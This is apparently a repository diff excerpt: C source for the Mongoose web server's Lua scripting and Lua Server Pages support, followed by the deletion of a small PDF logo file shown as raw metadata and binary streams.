char ebuf[100];
SOCKET sock;
if (lua_isstring(L, -3) && lua_isnumber(L, -2) && lua_isnumber(L, -1)) {
sock = conn2(lua_tostring(L, -3), (int) lua_tonumber(L, -2),
(int) lua_tonumber(L, -1), ebuf, sizeof(ebuf));
if (sock == INVALID_SOCKET) {
return luaL_error(L, ebuf);
} else {
lua_newtable(L);
reg_int(L, "sock", sock);
reg_string(L, "host", lua_tostring(L, -4));
luaL_getmetatable(L, LUASOCKET);
lua_setmetatable(L, -2);
}
} else {
return luaL_error(L, "connect(host,port,is_ssl): invalid parameter given.");
}
return 1;
}
static int lsp_error(lua_State *L) {
lua_getglobal(L, "mg");
lua_getfield(L, -1, "onerror");
lua_pushvalue(L, -3);
lua_pcall(L, 1, 0, 0);
return 0;
}
// Silently stop processing chunks.
static void lsp_abort(lua_State *L) {
int top = lua_gettop(L);
lua_getglobal(L, "mg");
lua_pushnil(L);
lua_setfield(L, -2, "onerror");
lua_settop(L, top);
lua_pushstring(L, "aborting");
lua_error(L);
}
static int lsp(struct mg_connection *conn, const char *path,
const char *p, int64_t len, lua_State *L) {
int i, j, pos = 0, lines = 1, lualines = 0;
char chunkname[MG_BUF_LEN];
for (i = 0; i < len; i++) {
if (p[i] == '\n') lines++;
if (p[i] == '<' && p[i + 1] == '?') {
for (j = i + 1; j < len ; j++) {
if (p[j] == '\n') lualines++;
if (p[j] == '?' && p[j + 1] == '>') {
mg_write(conn, p + pos, i - pos);
snprintf(chunkname, sizeof(chunkname), "@%s+%i", path, lines);
lua_pushlightuserdata(L, conn);
lua_pushcclosure(L, lsp_error, 1);
if (luaL_loadbuffer(L, p + (i + 2), j - (i + 2), chunkname)) {
// Syntax error or OOM. Error message is pushed on stack.
lua_pcall(L, 1, 0, 0);
} else {
// Success loading chunk. Call it.
lua_pcall(L, 0, 0, 1);
}
pos = j + 2;
i = pos - 1;
break;
}
}
if (lualines > 0) {
lines += lualines;
lualines = 0;
}
}
}
if (i > pos) {
mg_write(conn, p + pos, i - pos);
}
return 0;
}
static int lsp_write(lua_State *L) {
int i, num_args;
const char *str;
size_t size;
struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
num_args = lua_gettop(L);
for (i = 1; i <= num_args; i++) {
if (lua_isstring(L, i)) {
str = lua_tolstring(L, i, &size);
mg_write(conn, str, size);
}
}
return 0;
}
static int lsp_read(lua_State *L) {
struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
char buf[1024];
int len = mg_read(conn, buf, sizeof(buf));
if (len <= 0) return 0;
lua_pushlstring(L, buf, len);
return 1;
}
// mg.include: Include another .lp file
static int lsp_include(lua_State *L) {
struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
struct file file = STRUCT_FILE_INITIALIZER;
if (handle_lsp_request(conn, lua_tostring(L, -1), &file, L)) {
// handle_lsp_request returned an error code, meaning an error occured in
// the included page and mg.onerror returned non-zero. Stop processing.
lsp_abort(L);
}
return 0;
}
// mg.cry: Log an error. Default value for mg.onerror.
static int lsp_cry(lua_State *L){
struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
cry(conn, "%s", lua_tostring(L, -1));
return 0;
}
// mg.redirect: Redirect the request (internally).
static int lsp_redirect(lua_State *L) {
struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
conn->request_info.uri = lua_tostring(L, -1);
handle_request(conn);
lsp_abort(L);
return 0;
}
static void prepare_lua_environment(struct mg_connection *conn, lua_State *L) {
const struct mg_request_info *ri = mg_get_request_info(conn);
extern void luaL_openlibs(lua_State *);
int i;
luaL_openlibs(L);
#ifdef USE_LUA_SQLITE3
{ extern int luaopen_lsqlite3(lua_State *); luaopen_lsqlite3(L); }
#endif
luaL_newmetatable(L, LUASOCKET);
lua_pushliteral(L, "__index");
luaL_newlib(L, luasocket_methods);
lua_rawset(L, -3);
lua_pop(L, 1);
lua_register(L, "connect", lsp_connect);
if (conn == NULL) return;
// Register mg module
lua_newtable(L);
reg_function(L, "read", lsp_read, conn);
reg_function(L, "write", lsp_write, conn);
reg_function(L, "cry", lsp_cry, conn);
reg_function(L, "include", lsp_include, conn);
reg_function(L, "redirect", lsp_redirect, conn);
reg_string(L, "version", MONGOOSE_VERSION);
// Export request_info
lua_pushstring(L, "request_info");
lua_newtable(L);
reg_string(L, "request_method", ri->request_method);
reg_string(L, "uri", ri->uri);
reg_string(L, "http_version", ri->http_version);
reg_string(L, "query_string", ri->query_string);
reg_int(L, "remote_ip", ri->remote_ip);
reg_int(L, "remote_port", ri->remote_port);
reg_int(L, "num_headers", ri->num_headers);
lua_pushstring(L, "http_headers");
lua_newtable(L);
for (i = 0; i < ri->num_headers; i++) {
reg_string(L, ri->http_headers[i].name, ri->http_headers[i].value);
}
lua_rawset(L, -3);
lua_rawset(L, -3);
lua_setglobal(L, "mg");
// Register default mg.onerror function
luaL_dostring(L, "mg.onerror = function(e) mg.write('\\nLua error:\\n', "
"debug.traceback(e, 1)) end");
}
static int lua_error_handler(lua_State *L) {
const char *error_msg = lua_isstring(L, -1) ? lua_tostring(L, -1) : "?\n";
lua_getglobal(L, "mg");
if (!lua_isnil(L, -1)) {
lua_getfield(L, -1, "write"); // call mg.write()
lua_pushstring(L, error_msg);
lua_pushliteral(L, "\n");
lua_call(L, 2, 0);
luaL_dostring(L, "mg.write(debug.traceback(), '\\n')");
} else {
printf("Lua error: [%s]\n", error_msg);
luaL_dostring(L, "print(debug.traceback(), '\\n')");
}
// TODO(lsm): leave the stack balanced
return 0;
}
void mg_exec_lua_script(struct mg_connection *conn, const char *path,
const void **exports) {
int i;
lua_State *L;
if (path != NULL && (L = luaL_newstate()) != NULL) {
prepare_lua_environment(conn, L);
lua_pushcclosure(L, &lua_error_handler, 0);
lua_pushglobaltable(L);
if (exports != NULL) {
for (i = 0; exports[i] != NULL && exports[i + 1] != NULL; i += 2) {
lua_pushstring(L, exports[i]);
lua_pushcclosure(L, (lua_CFunction) exports[i + 1], 0);
lua_rawset(L, -3);
}
}
if (luaL_loadfile(L, path) != 0) {
lua_error_handler(L);
}
lua_pcall(L, 0, 0, -2);
lua_close(L);
}
}
static void lsp_send_err(struct mg_connection *conn, struct lua_State *L,
const char *fmt, ...) {
char buf[MG_BUF_LEN];
va_list ap;
int len;
va_start(ap, fmt);
len = vsnprintf(buf, sizeof(buf), fmt, ap);
va_end(ap);
if (L == NULL) {
send_http_error(conn, 500, http_500_error, "%s", buf);
} else {
lua_pushstring(L, buf);
lua_error(L);
}
}
static int handle_lsp_request(struct mg_connection *conn, const char *path,
struct file *filep, struct lua_State *ls) {
void *p = NULL;
lua_State *L = NULL;
int error = 1;
// We need both mg_stat to get file size, and mg_fopen to get fd
if (!mg_stat(conn, path, filep) || !mg_fopen(conn, path, "r", filep)) {
lsp_send_err(conn, ls, "File [%s] not found", path);
} else if (filep->membuf == NULL &&
(p = mmap(NULL, (size_t) filep->size, PROT_READ, MAP_PRIVATE,
fileno(filep->fp), 0)) == MAP_FAILED) {
lsp_send_err(conn, ls, "mmap(%s, %zu, %d): %s", path, (size_t) filep->size,
fileno(filep->fp), strerror(errno));
} else if ((L = ls != NULL ? ls : luaL_newstate()) == NULL) {
send_http_error(conn, 500, http_500_error, "%s", "luaL_newstate failed");
} else {
// We're not sending HTTP headers here, Lua page must do it.
if (ls == NULL) {
prepare_lua_environment(conn, L);
if (conn->ctx->callbacks.init_lua != NULL) {
conn->ctx->callbacks.init_lua(conn, L);
}
}
error = lsp(conn, path, filep->membuf == NULL ? p : filep->membuf,
filep->size, L);
}
if (L != NULL && ls == NULL) lua_close(L);
if (p != NULL) munmap(p, filep->size);
mg_fclose(filep);
return error;
}
-589
View File
@@ -1,589 +0,0 @@
%PDF-1.5␍%âãÏÓ
1 0 obj␍<</Metadata 2 0 R/OCProperties<</D<</ON[5 0 R]/Order 6 0 R/RBGroups[]>>/OCGs[5 0 R]>>/Pages 3 0 R/Type/Catalog>>␍endobj␍2 0 obj␍<</Length 16195/Subtype/XML/Type/Metadata>>stream
<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 ">
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:xmpGImg="http://ns.adobe.com/xap/1.0/g/img/">
<xmp:CreatorTool>Adobe Illustrator CS6 (Windows)</xmp:CreatorTool>
<xmp:CreateDate>2013-01-02T17:27:47+01:00</xmp:CreateDate>
<xmp:ModifyDate>2013-01-02T17:27:47Z</xmp:ModifyDate>
<xmp:MetadataDate>2013-01-02T17:27:47Z</xmp:MetadataDate>
<xmp:Thumbnails>
<rdf:Alt>
<rdf:li rdf:parseType="Resource">
<xmpGImg:width>256</xmpGImg:width>
<xmpGImg:height>228</xmpGImg:height>
<xmpGImg:format>JPEG</xmpGImg:format>
<xmpGImg:image>/9j/4AAQSkZJRgABAgEASABIAAD/7QAsUGhvdG9zaG9wIDMuMAA4QklNA+0AAAAAABAASAAAAAEA&#xA;AQBIAAAAAQAB/+4ADkFkb2JlAGTAAAAAAf/bAIQABgQEBAUEBgUFBgkGBQYJCwgGBggLDAoKCwoK&#xA;DBAMDAwMDAwQDA4PEA8ODBMTFBQTExwbGxscHx8fHx8fHx8fHwEHBwcNDA0YEBAYGhURFRofHx8f&#xA;Hx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8f/8AAEQgA5AEAAwER&#xA;AAIRAQMRAf/EAaIAAAAHAQEBAQEAAAAAAAAAAAQFAwIGAQAHCAkKCwEAAgIDAQEBAQEAAAAAAAAA&#xA;AQACAwQFBgcICQoLEAACAQMDAgQCBgcDBAIGAnMBAgMRBAAFIRIxQVEGE2EicYEUMpGhBxWxQiPB&#xA;UtHhMxZi8CRygvElQzRTkqKyY3PCNUQnk6OzNhdUZHTD0uIIJoMJChgZhJRFRqS0VtNVKBry4/PE&#xA;1OT0ZXWFlaW1xdXl9WZ2hpamtsbW5vY3R1dnd4eXp7fH1+f3OEhYaHiImKi4yNjo+Ck5SVlpeYmZ&#xA;qbnJ2en5KjpKWmp6ipqqusra6voRAAICAQIDBQUEBQYECAMDbQEAAhEDBCESMUEFURNhIgZxgZEy&#xA;obHwFMHR4SNCFVJicvEzJDRDghaSUyWiY7LCB3PSNeJEgxdUkwgJChgZJjZFGidkdFU38qOzwygp&#xA;0+PzhJSktMTU5PRldYWVpbXF1eX1RlZmdoaWprbG1ub2R1dnd4eXp7fH1+f3OEhYaHiImKi4yNjo&#xA;+DlJWWl5iZmpucnZ6fkqOkpaanqKmqq6ytrq+v/aAAwDAQACEQMRAD8A9U4q7FXYq7FXYq7FXYq7&#xA;FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FVsssUUbSyuscSAs7sQqqo3JJPQDFWOL+ZXk&#xA;Rrj6uNat/UrTkSQn/Iwjh+OR4wx4wyG3ube4iEtvKk0TfZkjYMp+RFRkmSpirsVYj+ZvnFfLPl2R&#xA;4XA1O8rDYr3BI+KT5IPxpkJyoMJyoI38vbs3fknRZmbkwtY4yx3NYh6f/GuGPJMeTIckydirsVdi&#xA;rsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVeG/nX55mutQby3YSlbO1I+v&#xA;lD/eTdfTNP2Y+4/m+WUZJdGnJLoiX/Lfybo/5fxavr31prq4SCWS4t6c4WnA4osbHgVUt8Vdz2pj&#xA;wgCyvAAN3nd9aW1gzXGiayLmDvx9S1uFB2AaNqBuv7DNkGs+SyHzf5sh/utavkFa0W5mA29uWPEV&#xA;4ijI/wAxfPMYIXW7o1/mfl/xKuHjKeMpbrfmLW9cnjn1a7e7liT042eg4rWuwUAfTgJJQSS9/wDy&#xA;ZufW/L+xStTBJPEf+RrOPwfL8fJvx8mb5Nm7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7&#xA;FXYq7FXYq7FXYq7FUr8063Hofl6/1V6H6rEWjU9GkPwxqf8AWdgMEjQRI0Hy9pdhqHmHX4LRGMt7&#xA;qM/xyHclnPJ5G+QqxzF5uMBZer/n3fww6bpek290EKsXmsFO5jVQsbt7KQQK9foy3IejblLxbKml&#xA;2KuxV2KvWvyR8721lI3lq9pGl1KZbGc7fvWAUxN/rcRx99u4y3HLo245dHtuXNzsVdirsVdirsVd&#xA;irsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVeffnjfRQeSGt2I53lxFGi9/gJkJ/4TK8&#xA;h2a8h2Yl+TWn6RpNrdebNauYrSM8rawaZgtQN5XUHdidlFPfIY6G5Y4xW5YP5+vtM1DzZf32m3cl&#xA;7aXL+ok0oYEEihQc6HitKL7ZCXNhI7sewMUw0bQNZ1q5a30u0e6lQcnCUAVfFmYhVHzOICQCUZfe&#xA;SPNVlA9xNp0j28ZIkngKXEakdeTwmRRT3ONJMCEjxYqlupaZaMU4/EXHUBRyJHuAMVfR35U+cbjz&#xA;L5ff63ve2DiCaQmpkUrVHbp8RGx9xmRCVhyISsM1ybN2KuxV2KuxV2KuxV2KuxV2KuxV2KuxV2Ku&#xA;xV2KuxV2KuxV2KuxV2KuxV87/nF5wi13zAtlZvz0/S+USOD8LzMf3jj2FAo+Ve+Y+SVlx8krLAmd&#xA;2ChmJCiigmtBWtBkGC3FXYqyifzCLv8AK++8qaYq2GryTJK8wf0xexcqvG0jEBWApsTxYCnU0MMt&#xA;mFDm5OCYB3Tb/nHLyP590bzNdahqNpPpujPbFJYriqCeRipj4xk78dzzp7d8r0eKYlZ2DlZZAhEf&#xA;nXp3ly18wRzaXNEL2YN+kbOL9hxTi54/CrPXcde/fMrIBezgZALedxuyOrrsykEfRkGt67+QV2qa&#xA;nq1on93cwxzotfsmFirD/ksPwy3EW3E9oy5udirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsV&#xA;dirsVdirsVdiryD80PzahWGbQ/LsweVwY7zUIzVVU7FIWHUnuw6dt9xVOfQNU59A8XylpdirsVdi&#xA;rsVTy287+bbXTf0Zb6rcRWQHFYlehVT+yrfaUewOHiLLiKSMxYlmJLE1JPUnAxZ9+UXkjSvM2o3s&#xA;mqgyWlgkZ+rKxTm8palWUhuICHofDJwjZbMcbet6f+XuheX9QXVtAhktpkHCe2EjyRywtTmtJC7c&#xA;h9pd+op0y3grcNoiByZbk2TsVdirsVdirsVdirsVdirsVdirsVdirsVdirH9Z8/eT9HLJfapCsq7&#xA;NDGTNID4FIw5H05EyAYmQDDtR/P7y9CzLYafc3ZHRpCkKk+3941PmMgcoYHKEof/AJyFuix4aGgX&#xA;sDcEn7/TGDxUeK0v/OQt3yHLRIytdwLgg0+fpnHxV8VHW3/OQmntT6zo00Xj6Uyyf8SWPD4qfFTQ&#xA;fnx5ONs0noXgmUfDA0aVY+HIOVw+KE+IHm3nL82PMXmNHtYyNO0xtjawsSzjwlk2LfIAD2yuUyWu&#xA;UyWEZBg7FXYq7FXYq7FV8cMktfTXkR+yOv0DqfoxV0kMsRAkRkJFQGBFR9OKsl/LzzbeeWdeF3FC&#xA;9zayr6d7boKkx1ryX/KU7j7u+GMqLKEqL3fR/P2m69epZaNDcSOV9S5nliaKOGMdal/tOTsoAP3D&#xA;LxO+TeJWyjJsnYq7FXYq7FXYq7FXYq7FXYq7FXYqoXt9ZWNs91ezx21vGKvLKwRR9JxtbeZeZvz3&#xA;0q1LwaBbG/lG31qascHzVdnf/hcqOXuajk7nl2v/AJgebddLLfajJ6Df8esJ9KKngVSnL/ZVysyJ&#xA;azIljuRYuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxVWt3uSwhh5OZCAIQOYZjsPg3BP0Yq9G8r/k1&#xA;5l1f059bkOl2H2hAQPXI/wAmIfDH/st/bLI4yebYMZPN7H5Z8paH5as2tdKg9ISEGaViWkkZdgXY&#xA;/PoNsuEQG4RATjCl2KuxV2KuxV2KuxV2KuxV2KuxVgvnv819I8t87K0Av9YGxgU/u4j/AMWsO/8A&#xA;kjfxpkJTphKdPCfMXmrXfMN39Z1W6aYgn0oR8MUYPZEGw+fU98oMiWgyJSjAh2KuxV2KuxV2KuxV&#xA;2KuxV2KuxV2KuxV2KuxV2KvS/wAh9LW581XN861WxtjwPhJKwUH/AIDllmIbtmMbvfMvb3Yq7FXY&#xA;q7FXYq7FXYq7FXYq7FXYq8p/Nb803055NB0KUfXaFb68U1MNdjGh/wB+eJ/Z+fSqc+gapz6B4ezM&#xA;zFmJZmNSTuSTlLS1irsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdir3D/nH2y4aPq17T+/uI&#xA;4a/8YU5f8zsuxN2J6vlra7FXYq7FXYq7FXYq7FXYq7FXYqwX81fPv+GtJFpZOP0zfKRB3MUfRpSP&#xA;Hsvv8shOVMJyp85szOxdyWZjVmO5JPUk5juO1irsVdirsVdirsVdirsVdirsVdirsVdirsVdirsV&#xA;dirsVfTH5TaQ+meRdPWReMt2Gu3H/GY1T/knxzIgKDkQFBl+TZuxV2KuxV2KuxV2KuxV2KuxVC6p&#xA;qVppenXOoXb8La1jaSVvZR0HuegwE0gmnyt5m8wXnmDW7rVbs/HO3wR9QkY2RB/qrmMTZcYmyleB&#xA;DsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVT7yR5Zm8x+Y7TTUB9At6l24/ZgQ1c/T9k&#xA;e5wxFllEWX1PHGkcaxxqFjQBUUbAACgAzKcldirsVdirsVdirsVdirsVdirsVeO/nz5pIFt5bt32&#xA;YC5vqHtX91Gfu5Ef6uU5ZdGnLLo8aypqdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirs&#xA;VfR35T+Sf8OaF9Zu4+OragFkuARvHH1SL2IrVvf5ZkQjQciEaDOcmzdirsVdirsVdirsVdirsVdi&#xA;qld3UFpazXVwwSC3RpZXPRUQFmP0AYq+TvMOsz61rd7qs/8AeXcrSBf5V6Iv+xUAZik2XFJspdgQ&#xA;7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXqH5M+Qjqd6PMOoR/7j7N/9DjYbSzr+1v1&#xA;WP8A4l8jlmON7tmON7vd8vb3YLine truncated
</rdf:li>
</rdf:Alt>
</xmp:Thumbnails>
</rdf:Description>
<rdf:Description rdf:about=""
xmlns:xmpTPg="http://ns.adobe.com/xap/1.0/t/pg/"
xmlns:stDim="http://ns.adobe.com/xap/1.0/sType/Dimensions#"
xmlns:xmpG="http://ns.adobe.com/xap/1.0/g/">
<xmpTPg:NPages>1</xmpTPg:NPages>
<xmpTPg:HasVisibleTransparency>False</xmpTPg:HasVisibleTransparency>
<xmpTPg:HasVisibleOverprint>False</xmpTPg:HasVisibleOverprint>
<xmpTPg:MaxPageSize rdf:parseType="Resource">
<stDim:w>64.000000</stDim:w>
<stDim:h>64.000000</stDim:h>
<stDim:unit>Points</stDim:unit>
</xmpTPg:MaxPageSize>
<xmpTPg:PlateNames>
<rdf:Seq>
<rdf:li>Cyan</rdf:li>
<rdf:li>Magenta</rdf:li>
<rdf:li>Yellow</rdf:li>
<rdf:li>Black</rdf:li>
</rdf:Seq>
</xmpTPg:PlateNames>
<xmpTPg:SwatchGroups>
<rdf:Seq>
<rdf:li rdf:parseType="Resource">
<xmpG:groupName>Default Swatch Group</xmpG:groupName>
<xmpG:groupType>0</xmpG:groupType>
</rdf:li>
</rdf:Seq>
</xmpTPg:SwatchGroups>
</rdf:Description>
<rdf:Description rdf:about=""
xmlns:illustrator="http://ns.adobe.com/illustrator/1.0/">
<illustrator:Type>Document</illustrator:Type>
</rdf:Description>
<rdf:Description rdf:about=""
xmlns:dc="http://purl.org/dc/elements/1.1/">
<dc:format>application/pdf</dc:format>
<dc:title>
<rdf:Alt>
<rdf:li xml:lang="x-default">Mongoo 3 smooth green</rdf:li>
</rdf:Alt>
</dc:title>
</rdf:Description>
<rdf:Description rdf:about=""
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/">
<xmpMM:RenditionClass>proof:pdf</xmpMM:RenditionClass>
<xmpMM:DocumentID>uuid:a2f6b830-2598-49b9-8770-4f9fa14f1be3</xmpMM:DocumentID>
<xmpMM:InstanceID>uuid:42245d04-b042-4038-b450-94c7cfb8ee6f</xmpMM:InstanceID>
</rdf:Description>
<rdf:Description rdf:about=""
xmlns:pdf="http://ns.adobe.com/pdf/1.3/">
<pdf:Producer>Adobe PDF library 10.01</pdf:Producer>
</rdf:Description>
</rdf:RDF>
</x:xmpmeta>
<?xpacket end="w"?>
endstream␍endobj␍3 0 obj␍<</Count 1/Kids[7 0 R]/Type/Pages>>␍endobj␍7 0 obj␍<</ArtBox[0.643066 4.46875 63.2324 59.6494]/BleedBox[0.0 0.0 64.0 64.0]/Contents 8 0 R/LastModified(D:20130102172747+01'00')/MediaBox[0.0 0.0 64.0 64.0]/Parent 3 0 R/PieceInfo<</Illustrator 9 0 R>>/Resources<</ExtGState<</GS0 10 0 R>>/Properties<</MC0 5 0 R>>>>/Thumb 11 0 R/TrimBox[0.0 0.0 64.0 64.0]/Type/Page>>␍endobj␍8 0 obj␍<</Filter/FlateDecode/Length 1251>>stream
H‰t–KŽ•7…çÿ*¼�kì²]¶§!#Y@+�A "±û|§Ü}i"E4}»ü¨Ç©SÇ÷Õ¯¯Ó«·¯Kúéç×éú|•ä]?7þùãú=ýu•Ül¤’»u~7éˇëÕ›÷%}øûúœj*ü«©ö<gÉfÞ­{zøtiãÓu«yøL–K[øÍ¥®ÄRK_Ù­oÌb5ÝêÊ}Xº�\pp«5ouµ§‡ëÖòžø°�}�ÔKøºÕ�7Oß.㪱P
Õ¼†‡Ûʹ¯—åÞ,üY›ªhN,Ï«,,ëºjyt#V˶å»äéÆîZ-vw_©åÚ”é¬ÅÙ™{ìŽ<¨¥äíÖÄ/‡ÌG˜»ê°NùЏըÙ#�Îåª"
Þw\¨»§ÇËH;ʹ�•¬e¯Ç¡¨qùýþC€Pq¸ù°D ,OrµžW·€Ö÷ÔiúÑçk¢EÓmåmç|9Φ%eÒ´Õ,"�CºÍ<F�¬¦ºÛÆÒ�ä¶:Y)žÍ¥;Í6•¨¤h#‘¢À8âɆæŽ>Ò»\µ¢(JØ\›^v@_ÈŸ= ,ñ<• Ûf€³pÒÈÐOǽˆ!,L÷XèKå²ÐK‹nP.6mj~X±ì,¬ÚO»è. 6oDh:�œw:ĉ G‡a÷Ȃh ½žŠ`ÖhJ˃,¿ÊÁò㱪€1³G›j '­ž6ì„55WÌ `mu��¢¼E*âdžpƒyé\„—¤×-C*�ß›s�ÐД'ÜÁ"=E‚N’ÕÓS¹¥B€à¤êÇ«“ÇàôŽšî64nSxq~Žž åÄŸî×%›D£†³SMSqXcXÕöV¹␍Ö[¶&Žê–è)øܼ˜ì…~¨␍H–8Â]@ôVí">vñ° „Ikw»,ãP0QºIl†§k[jHž ñªaµc¸èg-¢2*u]Ù 8®!ɰý<“:HWÈ­®U+±)·_/±E¸#^]¢R¥“”ZÒ¯èÏŒR:à„Ú‰ë–␍8}å=AOá@AXé!Øß®?¯wW•pKÏ¿ë8 ôÚIû»„Çà€"%Ãuè-£³o� “¤2æ[LZ}Ÿý…ÜJ¼M=ÄYLÔ5ö£-9°}ö›î3ñþt~Ä�ÑŽyÖÀ¯^ïæyG¯�QÖËjè�Bçå«T JãÍ”©'©¸†¯Âך™„ª"þHhßãs1Pi Ê[#!_R7i޲Ÿ|Qbgñ•xd ¢º3Bøñ±¸VC*U%irGÉÓõp•?Ì�À|ïžÔ/’˜TòŸ.z¤KÙ¥ù˲åEZ©�¦ßkÄÇûÙzГݥÈO»5ž®ç‹Ç*çXüù¼®;?8¼û‹`Ç*OçK¸ø:=ÀÒ·žnûáËDÕs/$Ò«ç»!Õ¬"²1~RÐ"Uǰ“ÿ4‰¢l�û5ð�?—Y4FßC¸ÜìÔ×$̰¿?‰jXC§7·ÓáS¢
ÇV~…a‹8´êC$èâïÝ,1_`ðÛv¥ãÿ¤žÞ¦û‰{4 qÒ¾ê;²
¼¥g¶N ôÜÃ uåm;4
ëýƒâÔ>hÒ�ê·€—ü d{ö«îŠ–2wðç:¯ù|Rƒoáþ—·|©|wý+ÀWûµ
endstream␍endobj␍11 0 obj␍<</BitsPerComponent 8/ColorSpace 12 0 R/Filter[/ASCII85Decode/FlateDecode]/Height 8/Length 60/Width 8>>stream
8;Xp,*=RnBA=+-oL^=GFM?1!l_%=Zlo8S9:+GRslKjBJT)I<XS0E>k]*Q8~>
endstream␍endobj␍12 0 obj␍[/Indexed/DeviceRGB 255 13 0 R]␍endobj␍13 0 obj␍<</Filter[/ASCII85Decode/FlateDecode]/Length 428>>stream
8;X]O>EqN@%''O_@%e@?J;%+8(9e>X=MR6S?i^YgA3=].HDXF.R$lIL@"pJ+EP(%0
b]6ajmNZn*!='OQZeQ^Y*,=]?C.B+\Ulg9dhD*"iC[;*=3`oP1[!S^)?1)IZ4dup`
E1r!/,*0[*9.aFIR2&b-C#s<Xl5FH@[<=!#6V)uDBXnIr.F>oRZ7Dl%MLY\.?d>Mn
6%Q2oYfNRF$$+ON<+]RUJmC0I<jlL.oXisZ;SYU[/7#<&37rclQKqeJe#,UF7Rgb1
VNWFKf>nDZ4OTs0S!saG>GGKUlQ*Q?45:CI&4J'_2j<etJICj7e7nPMb=O6S7UOH<
PO7r\I.Hu&e0d&E<.')fERr/l+*W,)q^D*ai5<uuLX.7g/>$XKrcYp0n+Xl_nU*O(
l[$6Nn+Z_Nq0]s7hs]`XX1nZ8&94a\~>
endstream␍endobj␍5 0 obj␍<</Intent 14 0 R/Name(svg2)/Type/OCG/Usage 15 0 R>>␍endobj␍14 0 obj␍[/View/Design]␍endobj␍15 0 obj␍<</CreatorInfo<</Creator(Adobe Illustrator 16.0)/Subtype/Artwork>>>>␍endobj␍10 0 obj␍<</AIS false/BM/Normal/CA 1.0/OP false/OPM 1/SA true/SMask/None/Type/ExtGState/ca 1.0/op false>>␍endobj␍9 0 obj␍<</LastModified(D:20130102172747+01'00')/Private 16 0 R>>␍endobj␍16 0 obj␍<</AIMetaData 17 0 R/AIPrivateData1 18 0 R/AIPrivateData2 19 0 R/ContainerVersion 11/CreatorVersion 16/NumBlock 2/RoundtripStreamType 1/RoundtripVersion 16>>␍endobj␍17 0 obj␍<</Length 1003>>stream
%!PS-Adobe-3.0
%%Creator: Adobe Illustrator(R) 16.0
%%AI8_CreatorVersion: 16.0.3
%%For: (Calum) ()
%%Title: (Mongoo 3 smooth green.svg)
%%CreationDate: 1/2/2013 5:27 PM
%%Canvassize: 16383
%%BoundingBox: 274 368 337 425
%%HiResBoundingBox: 274.1431 368.9688 336.7324 424.1494
%%DocumentProcessColors: Cyan Magenta Yellow Black
%AI5_FileFormat 12.0
%AI12_BuildNumber: 691
%AI3_ColorUsage: Color
%AI7_ImageSettings: 0
%%RGBProcessColor: 0 0 0 ([Registration])
%AI3_Cropmarks: 273.5 364.5 337.5 428.5
%AI3_TemplateBox: 305.5 396.5 305.5 396.5
%AI3_TileBox: 16.2998 -16 594.7002 809
%AI3_DocumentPreview: None
%AI5_ArtSize: 14400 14400
%AI5_RulerUnits: 2
%AI9_ColorModel: 1
%AI5_ArtFlags: 0 0 0 1 0 0 1 0 0
%AI5_TargetResolution: 800
%AI5_NumLayers: 1
%AI9_OpenToView: -285 842 1 1189 873 26 0 0 46 116 0 0 0 1 1 0 1 1 0 1
%AI5_OpenViewLayers: 7
%%PageOrigin:0 0
%AI7_GridSettings: 72 8 72 8 1 0 0.8 0.8 0.8 0.9 0.9 0.9
%AI9_Flatten: 1
%AI12_CMSettings: 00.MS
%%EndComments
endstream␍endobj␍18 0 obj␍<</Length 19265>>stream
%%BoundingBox: 274 368 337 425
%%HiResBoundingBox: 274.1431 368.9688 336.7324 424.1494
%AI7_Thumbnail: 128 116 8
%%BeginData: 19108 Hex Bytes
%0000330000660000990000CC0033000033330033660033990033CC0033FF
%0066000066330066660066990066CC0066FF009900009933009966009999
%0099CC0099FF00CC0000CC3300CC6600CC9900CCCC00CCFF00FF3300FF66
%00FF9900FFCC3300003300333300663300993300CC3300FF333300333333
%3333663333993333CC3333FF3366003366333366663366993366CC3366FF
%3399003399333399663399993399CC3399FF33CC0033CC3333CC6633CC99
%33CCCC33CCFF33FF0033FF3333FF6633FF9933FFCC33FFFF660000660033
%6600666600996600CC6600FF6633006633336633666633996633CC6633FF
%6666006666336666666666996666CC6666FF669900669933669966669999
%6699CC6699FF66CC0066CC3366CC6666CC9966CCCC66CCFF66FF0066FF33
%66FF6666FF9966FFCC66FFFF9900009900339900669900999900CC9900FF
%9933009933339933669933999933CC9933FF996600996633996666996699
%9966CC9966FF9999009999339999669999999999CC9999FF99CC0099CC33
%99CC6699CC9999CCCC99CCFF99FF0099FF3399FF6699FF9999FFCC99FFFF
%CC0000CC0033CC0066CC0099CC00CCCC00FFCC3300CC3333CC3366CC3399
%CC33CCCC33FFCC6600CC6633CC6666CC6699CC66CCCC66FFCC9900CC9933
%CC9966CC9999CC99CCCC99FFCCCC00CCCC33CCCC66CCCC99CCCCCCCCCCFF
%CCFF00CCFF33CCFF66CCFF99CCFFCCCCFFFFFF0033FF0066FF0099FF00CC
%FF3300FF3333FF3366FF3399FF33CCFF33FFFF6600FF6633FF6666FF6699
%FF66CCFF66FFFF9900FF9933FF9966FF9999FF99CCFF99FFFFCC00FFCC33
%FFCC66FFCC99FFCCCCFFCCFFFFFF33FFFF66FFFF99FFFFCC110000001100
%000011111111220000002200000022222222440000004400000044444444
%550000005500000055555555770000007700000077777777880000008800
